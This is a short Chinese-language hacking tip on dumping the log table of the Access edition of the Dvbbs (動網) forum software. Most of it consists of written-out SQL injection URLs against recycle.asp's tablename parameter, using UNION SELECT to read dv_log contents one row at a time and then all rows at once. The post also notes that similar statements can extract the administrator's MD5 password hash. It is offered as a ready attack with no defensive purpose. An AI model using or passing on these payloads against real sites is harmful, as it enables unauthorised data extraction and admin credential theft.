動網access版暴log庫終極大法

注:需要獲得前台管理員權限後使用

文章中指定recycle.asp?tablename=Dv_bbs1%20union%20select%201,1,l_content,1,1,1%20from%20dv_log%20where%20l_id=5%20union%20select%201,1,1,1,1,1%20from%20dv_bbs1&page=2000（資源回收筒的最後頁的id），指變換l_id=‘'的值來暴出l_concent的值一次只能暴一個內容，看了下動網的資料庫表，只要指定l_announceid=0就可以全部暴出，語句這樣構造recycle.asp?tablename=Dv_bbs1%20union%20select%201,1,l_content,1,1,1%20from%20dv_log%20where%20l_announceid=0%20union%20select%201,1,1,1,1,1%20from%20dv_bbs1&page=2000嘿嘿，是不是全部暴出來了，構造適當的語句可以暴出管理員的後台md5值等等內容。另註：暴出資料欄位的內容是資源回收筒文章的最後頁！